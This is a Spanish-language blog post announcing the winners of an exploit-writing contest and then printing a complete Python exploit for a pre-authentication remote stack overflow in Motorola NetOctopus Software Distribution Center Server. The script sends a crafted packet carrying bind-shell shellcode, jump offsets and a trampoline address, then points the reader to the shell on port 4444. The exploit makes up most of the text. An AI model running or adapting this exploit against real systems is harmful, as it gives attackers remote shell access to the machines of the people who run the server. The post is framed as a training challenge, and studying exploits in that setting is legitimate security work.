Ya tenemos 2 ganadores del Exploit4Food #1
Bueno pues ya hay ganadores del concurso que propusimos hace un par de semanas.Miguel “el potro de Moyua” y Tora “dedos mágicos” han sido los dos únicos que han enviado soluciones. Cada una de ellas con su punto fuerte. Los dos han elegido explotar una vulnerabilidad de una forma más complicada de la que en principio se había propuesto para el concurso, pero desde luego que de esta manera es mucho más instructiva y demuestra lo máquinas que están hechos.
Miguel, aunque más parco en explicaciones que Tora, se codeó a pelo la implementación de blowfish ya que no se paró a buscar si podía ser alguno conocido. Por otro lado Tora ha explicado de pé a pá todos y cada uno de los pasos que ha seguido para explotar la vulnerabilidad, las razones de seguir un camino u otro y las herramientas usadas. En conjunto, merece la pena que echéis un vistazo detenidamente a las soluciones planteadas porque son la pera.
Solución Miguel – Download
Solución Tora – Download
Lo prometido es deuda, los ganadores disfrutarán de un bocadillo de nocilla reserva del 82.
También avisar que para la próxima semana propondremos otro, también en software real, pero en este caso para los “kerneleros”, así que id sacando brillo al windbg…
Por último os dejamos un exploit más simple para los que se pierdan un poco con lo otro.
"""
Motorola DCS Exploit – #48bits Exploit4Food Challenge
Ruben "Gilipipas" Santamarta
"""
import sys
import socket
if len(sys.argv)<2 :
print "usage: exploit.py ip"
else:
print "\n\n.: Motorola NetOctopus Software Distribution Center Server :.\n"
print ":: Remote Stack Overflow -PreAuth- ::\n\n"
print "Attacking "+sys.argv[1]+":3814…\n"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1], 3814))
s.send("\x00\x00\x00\x01\x00\x00\x00\x01" # Packet Header
+"\x00\x00\x00\x01\x00\x00\x00\x01" # Packet Header
+"\x00\x00\x00\x03\x00\x00\x00\x05" # Overflow Size 0x300
+"\x90\x90\x90\x90" # Padding "nops"
+"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcb" # Shellcode BindShell
"\x2a\x94\x22\x83\xeb\xfc\xe2\xf4\x37\x40\x7f\x6f\x23\xd3\x6b\xdd"
"\x34\x4a\x1f\x4e\xef\x0e\x1f\x67\xf7\xa1\xe8\x27\xb3\x2b\x7b\xa9"
"\x84\x32\x1f\x7d\xeb\x2b\x7f\x6b\x40\x1e\x1f\x23\x25\x1b\x54\xbb"
"\x67\xae\x54\x56\xcc\xeb\x5e\x2f\xca\xe8\x7f\xd6\xf0\x7e\xb0\x0a"
"\xbe\xcf\x1f\x7d\xef\x2b\x7f\x44\x40\x26\xdf\xa9\x94\x36\x95\xc9"
"\xc8\x06\x1f\xab\xa7\x0e\x88\x43\x08\x1b\x4f\x46\x40\x69\xa4\xa9"
"\x8b\x26\x1f\x52\xd7\x87\x1f\x62\xc3\x74\xfc\xac\x85\x24\x78\x72"
"\x34\xfc\xf2\x71\xad\x42\xa7\x10\xa3\x5d\xe7\x10\x94\x7e\x6b\xf2"
"\xa3\xe1\x79\xde\xf0\x7a\x6b\xf4\x94\xa3\x71\x44\x4a\xc7\x9c\x20"
"\x9e\x40\x96\xdd\x1b\x42\x4d\x2b\x3e\x87\xc3\xdd\x1d\x79\xc7\x71"
"\x98\x79\xd7\x71\x88\x79\x6b\xf2\xad\x42\x85\x7e\xad\x79\x1d\xc3"
"\x5e\x42\x30\x38\xbb\xed\xc3\xdd\x1d\x40\x84\x73\x9e\xd5\x44\x4a"
"\x6f\x87\xba\xcb\x9c\xd5\x42\x71\x9e\xd5\x44\x4a\x2e\x63\x12\x6b"
"\x9c\xd5\x42\x72\x9f\x7e\xc1\xdd\x1b\xb9\xfc\xc5\xb2\xec\xed\x75"
"\x34\xfc\xc1\xdd\x1b\x4c\xfe\x46\xad\x42\xf7\x4f\x42\xcf\xfe\x72"
"\x92\x03\x58\xab\x2c\x40\xd0\xab\x29\x1b\x54\xd1\x61\xd4\xd6\x0f"
"\x35\x68\xb8\xb1\x46\x50\xac\x89\x60\x81\xfc\x50\x35\x99\x82\xdd"
"\xbe\x6e\x6b\xf4\x90\x7d\xc6\x73\x9a\x7b\xfe\x23\x9a\x7b\xc1\x73"
"\x34\xfa\xfc\x8f\x12\x2f\x5a\x71\x34\xfc\xfe\xdd\x34\x1d\x6b\xf2"
"\x40\x7d\x68\xa1\x0f\x4e\x6b\xf4\x99\xd5\x44\x4a\x24\xe4\x74\x42"
"\x98\xd5\x42\xdd\x1b\x2a\x94\x22"
+"\x90"*0x33 # padding
+"\xE9\x70\xFE\xFF\xFF" # Jump to shellcode
+"\x90"*0x75 # padding
+"\x90\x90\x74\x82" # Jump to "Jump to shellcode"
+"\xDA\x03\x43\x00"*0xD) # Trampoline address (main module)
s.close()
print "Done\n"
print "Bind shell => telnet "+sys.argv[1]+" 4444\n"